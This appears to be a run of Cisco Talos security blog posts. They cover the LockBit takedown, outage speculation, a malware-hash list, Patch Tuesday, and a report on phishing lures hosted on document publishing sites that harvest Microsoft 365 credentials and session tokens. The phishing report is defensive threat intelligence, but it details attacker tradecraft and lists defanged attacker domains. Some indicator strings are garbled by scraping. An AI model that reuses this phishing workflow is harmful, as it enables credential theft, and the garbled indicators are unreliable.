Conclusion

When it comes to exploiting memory corruption vulnerabilities on modern operating systems, the time of generic exploitation techniques is long gone. Exploitation techniques are application-specific and developing them requires a far deeper understanding of their inner workings, often ones that original developers are unaware of due to abstractions of high-level languages. While the presence of an interactive execution environment or a scripting language offers almost limitless exploitation flexibility, in environments like Ichitaro’s an exploit developer has to chain together many different side-effects to achieve a one-shot exploit.

In the case presented, a single vulnerability was abused to ultimately achieve arbitrary code execution. This is often not the case where exploits require chaining multiple vulnerabilities. This often makes it difficult to judge the severity of individual vulnerabilities but exploitation demonstrations like the one presented here develop an equivalence class that enables us to make informed decisions without demonstrating exploitation for every instance. 

The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions

The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions

In ancient Greek mythos, the mighty Hercules faced a seemingly insurmountable challenge when he encountered the Lernaean Hydra. This fearsome serpent had a terrifying ability: For every head that Hercules severed, two more would spring forth, creating a never-ending cycle of regrowth and renewal. 

Much like the Hydra, modern ransomware gangs present society with a daunting task. When law enforcement manages to take one adversary or low-level member off the streets, the victory is often short-lived. In the hidden depths of these criminal organizations, the heads — or leaders — remain shrouded in shadow, orchestrating their operations often with impunity. 

And so, as one member falls, two more may rise to take their place, perpetuating an enduring saga of illicit activity that are the challenges of our time: the ransomware ecosystem. A landscape where affiliates tend to move from ransomware group to ransomware group, following the money, bringing their skills and tools with them to conduct new attacks.

In this blog, we’ll explore the recent law enforcement takedown of LockBit, a group who previously held the title of the number one most deployed ransomware variant for two years running. Just seven days after the takedown, LockBit claimed to resume their operations.

The History of LockBit

LockBit emerged around 2019. Since then, it has continually evolved and innovated to update their ransomware and build their RaaS program.

The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions

 

For the past two years, LockBit ransomware operations accounted for over 25 percent of the total number of posts made to data leak sites. CISA’s assessment is also that LockBit has been the most deployed ransomware variant in recent years.

The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions

As we wrote in the 2023 Talos Year in Review report, posts made to the group’s data leak site ebbed and flowed from September 2022 to August 2023. Detections of LockBit activity appear to spike in March, partially coinciding with LockBit’s deployment against vulnerable instances of the printer management software PaperCut, where it has remained consistently high.

💡
In 2020, Talos researchers made contact with a self-described LockBit operator. Over several weeks, we conducted multiple interviews that gave us a rare, first-hand account of a ransomware operator’s cybercriminal activities. Confirmed theories included LockBit having a profit-sharing requirement that the affiliate has to meet for the first four or five ransoms. This also used to be the case for Maze. Also, keeping your word to the victim is an important part of LockBit’s business model. Read the interview in full here.

The Collaboration Trend

For the past two years, Talos researchers have written about a growing ransomware trend, wherein actors are increasingly collaborating with each other and sharing tools and infrastructure (aka the affiliate model).

For example, Talos recently reported on how the GhostSec and Stormous ransomware groups are jointly conducting double extortion ransomware attacks on various business verticals in multiple countries. The two groups have started a new ransomware-as-a-service (RaaS) program STMX_GhostLocker, providing various options for their affiliates.

We are seeing more diversified groups employing multiple encryption programs, as well as less sophisticated actors “standing on the shoulders” of giants by using leaked ransomware code. Some players are exiting the game altogether, but not before selling their source code to the highest bidder. This is posing significant challenges to the security community, especially when it comes to attributing attacks.

In the case of LockBit, this was also a group that operated as a RaaS model. They recruited affiliates by offering them shares of profits and encouraging them to conduct ransomware attacks using LockBit’s tools and infrastructure. These affiliates were often unconnected, and as a result, there were many variations in the attacks that used LockBit ransomware.

Notably, the LockBit ransomware group posted on a Russian-speaking dark web forum in December 2023 offering to recruit ALPHV (BlackCat) and NoEscape ransomware affiliates and any of the ALPHV developers, after the Federal Bureau of Investigation (FBI)’s announcement of a disruption campaign against the ALPHV ransomware operation.

Operation Cronos

The NCA, working closely with the FBI and supported by international partners from nine other countries, covertly investigated LockBit as part of a dedicated taskforce called Operation Cronos

On Feb. 20, 2024, after infiltrating the group’s network, the NCA took control of LockBit’s primary administration environment. This environment enabled affiliates to build and carry out ransomware attacks, as well as host the group’s public-facing leak site on the dark web, which was used to threaten the publication of data stolen from victims. 

The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions

The technical infiltration and disruption were only the beginning of a series of actions against LockBit and their affiliates. In wider actions coordinated by Europol, at least three LockBit affiliates were arrested in Poland and Ukraine, and more than 200 cryptocurrency accounts linked to the group have been frozen.

The Return

Seven days after the operation, messages and leak information was published on a new LockBit page. Here are screenshots of their leak site taken daily from Feb. 27 – March 4, with a huge increase of cards on March 3.

The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions

The site lists both pre- and post-takedown victims, suggesting LockBit may not have lost access to their entire dataset or infrastructure. 

Of particular interest is the fbi.gov card in the lower right corner that links to a lengthy writeup (in English and Russian), stating what LockBit thinks happened during the operation. They talk about lessons learned, speculations and discredit the law enforcement agencies. Talos believes the operation was carried out by the NCA, not the FBI, as LockBit stated.

A recurring theme

While LockBit is currently dominating the headlines, we’ve seen similar stories before following takedown attempts. For example, the commodity trojan Trickbot had its infrastructure dismantled in February 2022.

However, Talos telemetry picked up Trickbot activity throughout 2023, as covered in our Year in Review.

The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions

Still open for business

Talos has intelligence that Lockbit is still accepting affiliates into their program. 

Does this mean that law enforcement operations are pointless? Far from it. Takedown attempts such as Operation Cronos severely disrupt their operations, and forces ransomware operators to change their attacks. The operation against LockBit doesn’t appear to have inflicted the final blow against the ransomware group, but it has wounded them. 

We also know that law enforcement was able to obtain troves of intelligence through their operation. That intelligence will only serve to be useful in further disruptions, undermining Lockbit's growth. Therefore, if you put Lockbit into a market perspective, they appear to be quite exposed. 

Crucially, as with the case of LockBit, decryption tools can be released so that victims of ransomware can gain access to their systems again. In January Talos obtained executable code capable of decrypting files affected by the Babuk Tortilla ransomware variant, allowing Talos to extract and share the private decryption key used by the threat actor.

Therefore, it’s important not to view this operation as a “one and done” effort. Sustained, targeted approaches from law enforcement and the defender community can and do have a significant impact. For example, following the FBI’s actions against BlackCat/ALPHV, the group reportedly denied an affiliate a $22 million ransomware payment before subsequently going out of business in early March, as Brian Krebs wrote about on his website a few days ago.

Azim Khodjibaev from Talos’ threat interdiction and intelligence organization team discusses the ebs and flows of ransomware groups after a takedown in the episode of Talos Takes below. This episode was recorded in 2022 after a separate law enforcement operation to disrupt LockBit.

The lucrative affiliate model

One of the major issues when tackling ransomware crime is the nature of the affiliate program, with actors often working for multiple RaaS outfits at a time. In underground forums, we are seeing increased advertisements by RaaS groups showcasing their affiliate programs and offering profit shares. They can offer large profits, as threat actors can conduct multiple campaigns using the encryption programs that are offered or distributed. 

In the case of the GhostSec group, they have a business model that offers affilates three different options: a paid version, a free version and a version that allows actors who don’t want to become a member ransomware gang but would like to publish victim data on their leak site.

We are also seeing multiple groups working together, sharing their malicious tooling with each other, then falling out, and then building trust back up with each other, adding to the difficulty in attributing attacks. Here are Talos’ Nick Biasini and Matt Olney talking about the impact of leaked ransomware code, where Matt describes the situation as “The Real Housewives of Eastern Europe:”

Fundamentally, ransomware continues to be hugely profitable and widespread. In the last quarter, the Talos Incident Response team responded to ransomware incidents involving Play, Cactus, BlackSuit and NoEscape ransomware for the first time, and there was a 17% rise in ransomware incidents in this quarter.

In the end, Operation Cronos may have disrupted LockBit’s operations temporarily with valuable assets gained, a weaker market position for the group, and a few affiliates are now sitting in jail. However, the Hyrdra’s roots run deeper, and this is why we may continue to see LockBit activity throughout the course of the year.

Where to go from here

Like Hercules who outwitted the Hydra with a blend of strength and strategy, our law enforcement’s relentless efforts are essential and commendable. It’s going to take persistent, strategic efforts to significantly damage RaaS operations and weaken the regenerative power of these gangs. Arrests at the top will be a key part of this. In the case of LockBit, it appears as though the leaders of the group have evaded arrest on this occasion.  

At the very same time the people of Lerna (or us, the private defenders), need to pay attention to the entire threat landscape. We can’t rely on just Hercules to take them down. Just like we can’t be sure there is just a single Hydra.

Read more about the recent ransomware operations Talos Incident Responders engaged in.

Not everything has to be a massive, global cyber attack

Not everything has to be a massive, global cyber attack

Some of my Webex rooms recently have been blowing up with memes about blaming Canada or wild speculation that a state-sponsored actor is carrying out some sort of major campaign.  

After a widespread outage of cellular service with AT&T and other carriers a few weeks ago, people were sure it was some sort of coordinated attack to disrupt Americans’ services that largely power our day-to-day lives. The outage lasted about 11 hours, and after the fact, the company announced they’d give customers a whopping $5 credit to make up for the issue. The Federal Communications Commission also announced last week that it was launching a formal investigation into the outage, requesting more information about the exact cause and how many users were affected.  

About two weeks later, the same kinds of messages and questions to our team came flooding in when Meta experienced an outage across many of its platforms, most notably Facebook, Instagram and Threads. Though this only lasted a few hours, any time Americans can’t access their Instagram feeds, it’s going to make headlines. 

In both cases, consumers immediately wanted to start pointing fingers — Which actor was behind these? Why is there so little information about this outage? Is this China getting revenge for talk of forcing a TikTok sale? What’s the broader conspiracy behind this? The outages also quickly opened the door for some of the world’s chief spreaders of misinformation and fake news to start spreading conspiracy theories. 

The problem is, not every technical issue can or needs to be explained away by a cyber attack. That’s not to undersell the danger that state-sponsored APTs pose currently, or the fact that they *could* one day cause a disruption like this. But jumping to that conclusion every time Down Detector pops off is only going to spread fear/FUD and help these outlets for disinformation reach a larger audience.  

It creates a “boy who cried wolf” situation for when a major cyber attack actually does happen, and the average consumer is forced to make an immediate update to some piece of software or hardware. 

There are a few reasons why we’re so ready to jump to the “it’s a cyber attack!” conclusion. One is that Hollywood has been “glamorizing” the idea of a major cyber attack or major disruption for years now. Movies and TV shows like Netflix’s “Leave the World Behind” have dramatized what a major cyber attack or internet outage may look like, and how quickly it could lead to the unraveling of civilization. Because of our current doomscrolling culture, the second something even looks like it could be a cyber event, we’re ready to declare the end of our economy and society. 

It’s also sexier when it’s a cyber attack. AT&T says its outage was caused by a technical error that occurred when it was trying to upgrade its network’s capacity, explicitly stating it was not caused by any sort of disruption campaign or cyber attack. Meta simply chalked their outage up to a “technical issue.”  

None of these things make for good headlines. But sometimes, the simplest explanation is the most obvious one — we’ve all pressed a wrong button here or there, and stuff breaks on the internet all the time for all sorts of reasons. But “Users logged out of Instagram after Meta employee hits ‘enter’ too soon” isn’t as eye-catching as “Are Instagram and Facebook down because of a cyber attack?” 

Could these multi-billion-dollar corporations be lying? Sure, but I also find it hard enough to believe that the truth would not have made it out to consumers by now if these outages weren’t simple technical issues, nor would AT&T feel compelled to reimburse customers for something that could be totally out of their control. 

And if you ever get logged out of Facebook or Instagram, maybe you’re just better off being offline for a few hours anyway than immediately assuming Mahershala Ali is going to be knocking on your vacation home’s door in any minute.   

The one big thing 

We want to keep reminding users to update and upgrade their network infrastructure. Aging devices like switches and routers that are used across the globe are a consistently vulnerable surface for adversaries to gain an initial foothold onto targeted networks. Talos recently highlighted the three most common post-compromise attacks that adversaries carry out after compromising these types of vulnerable devices, including modifying the device’s firmware and downgrading the firmware to remove older patches and open the door to new exploitable vulnerabilities. Nick Biasini from Talos Outreach also spoke about this issue for an article in NetworkWorld.  

Why do I care? 

As Hazel Burton puts it in the blog post linked above: “Adversaries, particularly APTs, are capitalizing on this scenario to conduct hidden post-compromise activities once they have gained initial access to the network. The goal here is to give themselves a greater foothold, conceal their activities, and hunt for data and intelligence that can assist them with their espionage and/or disruptive goals. Think of it like a burglar breaking into a house via the water pipes. They’re not using “traditional” methods such as breaking down doors or windows (the noisy smash-and-grab approach) — they’re using an unusual route, because no one ever thinks their house will be broken into via the water pipes. Their goal is to remain stealthy on the inside while they take their time to find the most valuable artefacts.” 

So now what? 

If you are using network infrastructure that is end of life, out of support, and now has vulnerabilities that cannot be patched, now really is the time to replace those devices. Using networking equipment that has been built with secure-by-design principles such as running secure boot, alongside having a robust configuration and patch management approach, is key to combatting these types of threats. Ensure that these devices are being watched very carefully for any configuration changes and patch them promptly whenever new vulnerabilities are discovered.   

Top security headlines of the week 

Security researchers have found a new vulnerability affecting chips made by nearly all major CPU makers dubbed “GhostRace.” The vulnerability, identified as CVE-2024-2193, requires an adversary to win a race condition and to have physical or privileged access to the targeted machine. However, it could allow a malicious user to steal potentially sensitive information from memory like passwords and encryption keys. "The vulnerability affects many CPU architectures, including those made by Intel, AMD, Arm and IBM. It also affected some hypervisor vendors and the Linux operating system. AMD released an advisory this week that informed customers that they should follow previous defense guidance for other security flaws like Spectre that have affected CPUs in the past. “Our analysis shows all the other common write-side synchronization primitives in the Linux kernel are ultimately implemented through a conditional branch and are therefore vulnerable to speculative race conditions,” VU Amsterdam said in its blog post disclosing GhostRace. (SecurityWeek, Vrije Universiteit Amsterdam

Health care providers are still reeling from a cyber attack on Change Healthcare, a subsidiary of the United HealthGroup Inc. insurance provider. First Health Advisory, a digital health risk assurance firm, recently estimated that health care providers are losing an estimated $100 million daily as they still cannot process payments from insurance providers. Change first disclosed the suspected ransomware attack in late February, and on March 5, the U.S. government announced a plan to provide relief payments for providers who are facing financial shortfalls due to the outage. Many doctors' offices and care clinics are facing late rent payments and unpaid invoices. The attack has also limited some patients’ ability to obtain pre-authorization for certain services and surgeries, and others have not been able to refill their prescriptions at hospitals. U.S. Congress is also asking the CEO of United HealthGroup to appear before a committee to answer questions about the hack. (CBS News, Bloomberg

The U.S. has placed formal sanctions against two individuals and five entities associated with the Intellexa Consortium, responsible for developing and distributing the Predator spyware. Talos has previously reported on Intellexa’s tools, and how their spyware is silently loaded onto targeted devices. This is the first time the Treasury Department has sanctioned a spyware organization and announced it publicly. The sanctions include five vendors who work with Intellexa to sell the spyware, all of whom are spread across Europe. Intellexa itself is based in Greece. Predator and other spyware developed by private parties are often used to target high-risk individuals to track their communication and movement, including politicians, journalists, activists and political dissidents. Under the sanctions, anyone in the U.S. is forbidden from doing business with Intellexa or the associated companies and individuals. The Biden administration has long pushed for additional action against spyware makers, including Israel-based NSO Group, which distributes the Pegasus spyware. (Voice of America, Axios

Can’t get enough Talos? 

Upcoming events where you can find Talos 

 

Botconf (April 23 - 26) 

Nice, Côte d'Azur, France

This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.

CARO Workshop 2024 (May 1 - 3) 

Arlington, Virginia

Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.

RSA (May 6 - 9) 

San Francisco, California   

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
MD5: 7bdbd180c081fa63ca94f9c22c457376 
Typical Filename: c0dwjdi6a.dll 
Claimed Product: N/A  
Detection Name: Trojan.GenericKD.33515991 

SHA 256: 24283c2eda68c559f85db7bf7ccfe3f81e2c7dfc98a304b2056f1a7c053594fe 
MD5: 49ae44d48c8ff0ee1b23a310cb2ecf5a 
Typical Filename: nYzVlQyRnQmDcXk 
Claimed Product: N/A 
Detection Name: Win.Dropper.Scar::tpd 

SHA 256: e38c53aedf49017c47725e4912fc7560e1c8ece2633c05057b22fd4a8ed28eb3 
MD5: c16df0bfc6fda86dbfa8948a566d32c1 
Typical Filename: CEPlus.docm 
Claimed Product: N/A  
Detection Name: Doc.Downloader.Pwshell::mash.sr.sbx.vioc 

SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Typical Filename: VID001.exe  
Claimed Product: N/A  
Detection Name: Win.Worm.Coinminer::1201 

SHA 256: e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934 
MD5: 93fefc3e88ffb78abb36365fa5cf857c 
Typical Filename: Wextract 
Claimed Product: Internet Explorer 
Detection Name: W32.File.MalParent 

Threat actors leverage document publishing sites for ongoing credential and session token theft

  • Cisco Talos Incident Response (Talos IR) has observed the ongoing use of legitimate digital document publishing (DDP) sites for phishing, credential theft and session token theft during recent incident response and threat intelligence engagements.
  • Hosting phishing lures on DDP sites increases the likelihood of a successful phishing attack, since these sites often have a favorable reputation, are unlikely to appear on web filter blocklists, and may instill a false sense of security in users who recognize them as familiar or legitimate.
  • DDP sites allow adversaries to quickly deploy and decommission malicious documents on a single platform. Talos IR also observed an adversary move between DDP sites within a short period.
Threat actors leverage document publishing sites for ongoing credential and session token theft

Talos IR has responded to several recent incidents in which threat actors used legitimate digital document publishing sites such as Publuu and Marq to host phishing documents as part of ongoing credential and session harvesting attacks. Threat actors have used a similar tactic of deploying phishing lures on well-known cloud storage and contract management sites such as Google Drive, OneDrive, SharePoint, DocuSign and Oneflow. However, DDP sites could represent a blind spot for defenders, because they are unfamiliar to trained users and unlikely to be flagged by email and web content filtering controls. Recent malicious activity observed across these platforms underscores the need for security teams to ensure that phishing protections and user awareness training programs consider these and similar sites.

Background and observations

 “Digital Document Publishing sites” refers to websites that allow users to upload and share PDF files in a browser-based flipbook format. Visitors can view an entire PDF by flipping from page to page without downloading the document, and some DDP sites offer features that allow other types of interaction with the document. Examples of DDP sites include Publuu, Marq, FlipSnack, Issuu, FlippingBook, RelayTo and SimpleBooklet.

The sites discussed in this blog are not malicious. Rather, they are being abused by threat actors.

Delivery mechanism

Threat actors integrate DDP sites as a secondary or intermediate stage of the attack chain, which follows tried-and-true phishing methods.

  • The victim receives an email containing a link to a document hosted on a legitimate DDP site. The email’s subject and/or body often includes the phrase “New Document from [sender organization],” and leaves the “To” header blank. Instead, the actors load the target list into the “BCC” field.
  • The DDP-hosted document includes a link to an external, adversary-controlled site.
  • When clicked, the link either moves the victim directly to the adversary-controlled site, or through a series of redirects. Talos IR also observed the inclusion of Cloudflare CAPTCHAs as part of some redirects, an adversary technique reported by Cofense, Netskope and other security teams over the past six months.
  • The victim arrives at the adversary-controlled site, which mimics a legitimate authentication page and is designed to capture user credentials or session tokens during authentication.

Attacks leveraging DDP sites for credential and session token theft often take place through unauthorized access to another legitimate email inbox. In a sort of “cascading” business email compromise (BEC) process, the threat actor creates infrastructure and phishing lures to target a specific victim, then leverages that victim’s established connections to conduct follow-on attacks against other organizations. A portion of the infrastructure created for the original target may be reused, while other portions are recreated to increase the likelihood of success during the subsequent attacks. 

Lure customization

DDP sites offer custom capabilities that lend credence to a phishing attack. Not only can the threat actor customize the uploaded phishing document, the web page hosting that document can also be modified. Page customization options include changing the background, banner, border or HTML Title tag. These quick configurations create more convincing lures and are likely to garner a higher click-through rate to the credential harvesting page. 

DDP-hosted lure customization observed during investigation ranged from pages listing the organization name only in the HTML Title tag, to a highly customized lure and landing page combination targeting users of a Canadian telecom provider. In the latter case, the final credential harvesting page was a near replica of the provider’s legitimate user login page, though it was hosted on an unrelated webwave[.]dev subdomain. 

Historical trends

Expanding the scope of the investigation to include historical data reveals a possible trend where threat actors migrate between DDP sites or rapidly activate and deactivate similar campaigns on the same site over time. For example, Talos IR observed a cluster of activity on SimpleBooklet from late October to early November 2020, and another on RelayTo in early September 2023. More recently, an adversary was observed operating the same credential-harvesting attack, first on Publuu, then later Issuu. 

Adversary advantages create challenges for defenders

DDP sites create advantages for threat actors seeking to thwart contemporary phishing protections. The same features and benefits that attract legitimate users to these sites can be abused by threat actors to increase the efficacy of a phishing attack. Given some of these advantages, threat actors may find DDP sites as useful as creating spoofed domains or compromising legitimate sites for phishing and credential theft.

DDP sites offer low-cost, transient file hosting

Many DDP sites offer either a free tier or a no-cost trial period where a defined number of files can be published for a limited time. No-cost trial periods usually require only limited personal identifiers and no payment methods. Threat actors can quickly and easily create multiple free accounts, with a varying number of malicious pages per account.

Some DDP sites also allow a link expiration to be set for published content. This feature creates a “set it and forget it” capability for threat actors, who are no longer required to closely track where phishing documents have been deployed so they can be decommissioned. Instead, a link expiration date and time is configured during page creation, ensuring the content will be rendered unavailable automatically, usually after only a short time.

Talos IR observed instances where an adversary launched, then disabled a DDP page in fewer than 24 hours, and others where the DDP page was left active but the final landing page on the adversary-controlled domain was removed through DNS fast fluxing or another mechanism.

This transient nature of DDP pages creates challenges for security teams and complicates the incident response process. While it’s possible to detect, create internal alerts for, and/or notify security personnel about a DDP-hosted lure, the brief availability of the pages creates a compressed response time for defenders. Understanding the theme of the lure, the associated adversary-controlled domains, and the intent of the attack in such a short time may be difficult, even for experienced security teams.

DDP sites usually have a favorable web reputation.

The ratio of legitimate to compromised pages hosted on DDP sites is likely quite low. While that ratio seemed to vary by DDP provider, Talos IR found that most pages created recently across all DDP sites hosted legitimate content. Unless this trend continues to shift toward hosting greater volumes of malicious content, these sites will maintain a favorable reputation score and are less likely to be included in automated blocklists. 

A favorable web reputation score may also mislead users who investigate the DDP site using popular open-source intelligence tools or a basic internet search, leading to higher click and credential capture rates than sites with an unknown or poor reputation.

Site

Domain Registration

Umbrella Unique Visitors Score*

Umbrella Reputation Score**

Publuu

2019-02-28 (IS)

63

53 (Medium Risk)

Marq

2004-06-19 (IS)

76

9 (Low Risk)

FlipSnack

2010-06-03 (US)

96

11 (Low Risk)

Issuu

2007-04-19 (GB)

100

9 (Low Risk)

RelayTo

2013-12-02 (US)

53

58 (Medium Risk)

* Umbrella’s Unique Visitors Score is included to illustrate estimated traffic volume per site as of Feb. 2, 2024.

** Reputation Score as of Feb. 2, 2024.

DDP productivity features may inhibit malicious link detection.

Talos IR found that productivity features on at least one DDP site inhibited traditional methods of extracting the true URL from a phishing link. During the investigation of a malicious document hosted on Publuu, a custom sub-menu was displayed when the user right-clicked on the URL. While this sub-menu included options that would benefit legitimate users, it did not provide a clear option to copy the URL behind the “View Online PDF” hyperlink. Further, no tooltip popups appeared to show the URL when hovering over the link. 

Threat actors leverage document publishing sites for ongoing credential and session token theft

Case studies

Two recent Talos IR engagements involved the use of a DDP site as part of potential credential and session token-harvesting attacks.

Publuu

Several individuals at the targeted organization received phishing emails from a compromised email address belonging to a trusted third-party vendor with the subject, “New Document from [third-party vendor]”.

The link included in the body of the email led to a Publuu flipbook, with a URL like https://publuu[.]com/flip-book/[6_digit_identifier]/[6_digit_identifier]. The phishing document was a generic, widely used file observed in similar attacks on other DDP sites. However, while the phishing document was reused, the adversary had modified the Publuu page with the sender organization’s name to lend authenticity to the document.

Threat actors leverage document publishing sites for ongoing credential and session token theft

Clicking the “VIEW ONLINE PDF” link directed the user to a Cloudflare CAPTCHA, a technique described in the publications by Cofense and Netskope linked above. Use of the CAPTCHA likely has a dual purpose, as it both protects the credential harvesting page from automated access while giving the impression of a legitimate site to users who fall victim to the phishing link.

After completing the CAPTCHA, the victim is directed to a convincing replica of a Microsoft 365 authentication page. The URL for the page contains a lengthy alphanumeric string, which may act as an identifier for the visitor. The adversary-controlled domain associated with the authentication page was atlas-aerspace[.]onlineextracted. The customization of the original Publuu page to the target organization in contrast to this unrelated spoofed domain suggests this incident may have been part of a cascading BEC attack.  

Threat actors leverage document publishing sites for ongoing credential and session token theft

Talos IR later identified an attack chain hosted on the Issuu DDP site with similar indicators. The phishing document was nearly identical, though, unlike the Publuu link, this link URL leveraged the Google AMP to Cloudflare CAPTCHA flow described in the Cofense blog. The credential harvest page was ultimately located at the domain aerospace-atlas[.]online and included the same identifier-style URL string as the one observed with the atlas-aerspace[.]online90 days domain.

In aggregate, the following similar domains – all hosted by Cloudflare – were registered within 90 days. The first two domains were found to be associated with phishing lures hosted on DDP sites, suggesting an effort to target users of the legitimate atlas-aerospace[.]com domain.

  • aerospace-atlas[.]online (registered Jan. 24, 2024)
  • atlas-aerspace[.]online (registered Dec. 19, 2023)
  • atlas-aerspace[.]com (registered Oct. 25, 2023)

Talos provided notification through established channels so affected organizations could review and address this activity.

Marq

Talos IR also responded to an incident involving the Marq DDP site. The Marq page hosting the phishing document had already been deactivated, but Talos IR used other forensic data to determine the URL of the associated credential harvesting page. The first part of that URL was https[:]//mvnwsenterprise[.]top:443/aadcdn.msauth.net/.

While the Marq page could not be accessed, Talos IR identified similar pages through open- and closed-source intelligence. These pages were customized to show the sender organization in the HTML Title tag (displayed in the browser tab) but otherwise used an identical “Microsoft365 Online Fax” lure. Unlike some activity clusters on other DDP sites, each page was configured with a unique URL using the .top top-level domain, such as onedrivesmncs[.]top, onedrivemwsamc[.]top, and 347nsm239mws934[.]top. Another common characteristic was the presence of the URL query string tkmilric in all URLs embedded in the phishing document. 

Threat actors leverage document publishing sites for ongoing credential and session token theft

Once clicked, the link passed the user to the spoofed Microsoft authentication page, which resided at the redirect.cgi path of the unique `.top` domain. The URL query string for this page included a “ref” parameter, which contained a Base64 and URL encoded value. An example of the decoded value is:

https://login.microsoftonline.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https://outlook.office.com/owa/&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code id_token&scope=openid&msafed=1&msaredir=1&client-request-id=[REDACTED]&protectedtoken=true&claims={"id_token":{"xms_cc":{"values":["CP1"]}}}&nonce=[REDACTED]&state=[REDACTED]

The value 00000002-0000-0ff1-ce00-000000000000 found in the client_id and resource parameters is the Microsoft Application ID for Office 365 Exchange Online. The claims string {"id_token":{"xms_cc":{"values":["CP1"]}}} is a required component for a client application to communicate its capabilities to Microsoft Entra ID in an OAuth 2.0 authorization flow. These characteristics likely indicate a campaign to capture session tokens for Microsoft 365 components using the same lure and customized or DGA-generated domains.

Other DDP Sites

Following these investigations, Talos IR identified similar activity on other DDP sites. The following examples are provided to demonstrate similarities across DDP sites and are not related to any ongoing or prior Talos IR investigations.

Flipsnack

Talos IR identified at least two lure formats used recently on FlipSnack – one eFax PDF-themed lure, and one SharePoint PDF-themed lure. Both landing pages had been removed by the adversary at the time of Talos IR’s review, but the URL for the adversary-controlled page associated with the SharePoint lure (afurrytailwedding[.]com/cure/MSthOffice/index.phpexcept) could indicate a potential Microsoft 365 credential harvesting effort. Neither lure had been customized to target a specific victim. 

Threat actors leverage document publishing sites for ongoing credential and session token theft
Threat actors leverage document publishing sites for ongoing credential and session token theft

Issuu

Malicious documents found on Issuu were very similar to those observed on Publuu, except for minor details like a “Reference” number and the link URL. Of the two links tested by Talos IR, one was redirected through an intermediary site before reaching the landing page. The other leveraged the Google AMP and Cloudflare CAPTCHA flow reported by Cofense. Again, the landing pages for both examples had been removed by the adversary at the time of Talos IR’s review.

Threat actors leverage document publishing sites for ongoing credential and session token theft

RelayTo

Talos IR located at least two different phishing lures that had been deployed to the RelayTo site in early September 2023. One of these lures was published repeatedly from multiple RelayTo accounts with modifications to only the name of the associated organization. The link in each lure – https[:]//secure-docsx[.]com/efgh5678 – was the same. The secure-docsx[.]combefore the domain had been registered a week this activity began and was followed by the creation of the secure-docu[.]com domain, with which it shared registrant details.

Threat actors leverage document publishing sites for ongoing credential and session token theft

SimpleBooklet

Talos IR could not locate a malicious page on the SimpleBooklet site that had not already been deactivated. However, a review of related URLs in VirusTotal suggests that an adversary made prolific use of this site for phishing and possible credential theft from October 2020 through January 2021.

Threat actors leverage document publishing sites for ongoing credential and session token theft

Defender actions

Defenders should consider the following actions to help defend against phishing attacks that leverage DDP sites.

  • Block common DDP sites via border security devices, endpoint detection and response (EDR) like Cisco Secure Endpoint, web content filtering, and/or DNS security controls if access to these sites is not required for normal business operations. If blocking these sites will disrupt normal operations, develop a procedure to ensure malicious domains identified in DDP-hosted phishing lures can be quickly blocked.
  • Configure email security controls to detect and alert on links in emails containing common DDP site URLs.
  • Leverage threat intelligence to quickly identify newly created sites related to known threats – in this case, new DDP sites that may be leveraged by threat actors.
  • Monitor for behavioral trends within the organization’s internal environment that could indicate coordinated malicious activity, including activity to blocked sites.
  • Update user security awareness training to include information about DDP sites and other cloud-hosted phishing attack methods. Reinforce a “see something, say something” mentality when users are uncertain about a site’s legitimacy.

End users can also support defenders by remaining vigilant for documents shared over unusual or uncommon sites, even if those sites are legitimate and have a favorable reputation, and by following their organization’s guidelines for reporting suspicious emails.

Another Patch Tuesday with no zero-days, only two critical vulnerabilities disclosed by Microsoft

Another Patch Tuesday with no zero-days, only two critical vulnerabilities disclosed by Microsoft

For the second month in 2024, there are no actively exploited vulnerabilities included in this month’s security update from Microsoft. 

March’s Patch Tuesday is relatively light, containing 60 vulnerabilities — only two labeled “critical.” Last month’s Patch Tuesday included more than 70 security vulnerabilities affecting Microsoft products, and there were even fewer in January and December, especially when compared to 2023.  

Still, both critical vulnerabilities addressed this month are notable because they affect Windows Hyper-V, potentially allowing an adversary to target a host machine from a virtual machine environment.   

All other vulnerabilities Microsoft disclosed Tuesday are considered to be of “important” severity.  

CVE-2024-21408 is a denial-of-service vulnerability in Windows Hyper-V that could allow an adversary to target a host machine from inside a VM. However, Microsoft did not provide any additional details on how this denial-of-service could occur, and despite being listed as critical, it only scored a 5.5 out of 10 in the CVSS severity scoring system.   

The other critical issue is CVE-2024-21407, a remote code execution also in Hyper-V. An attacker inside a VM environment could remotely execute code on the host machine by sending specially crafted file operation requests to hardware resources on the VM. However, the adversary would need to be authenticated inside the VM first and acquire certain, specific information about the environment to be gathered before a successful attack. 

Another remote code execution vulnerability — of which there are 19 in Tuesday’s release, CVE-2024-21334, exists in Open Management Infrastructure. A remote, unauthenticated attacker could exploit this vulnerability by accessing the OMI instance from the internet and sending specially crafted requests to trigger a use-after-free vulnerability.  

CVE-2024-21334 is only considered by Microsoft to be “important,” though it has a CVSS score of 9.8 out of 10 — the highest of any vulnerability disclosed as part of March’s Patch Tuesday that affects a Microsoft product.  

A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page

In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. 

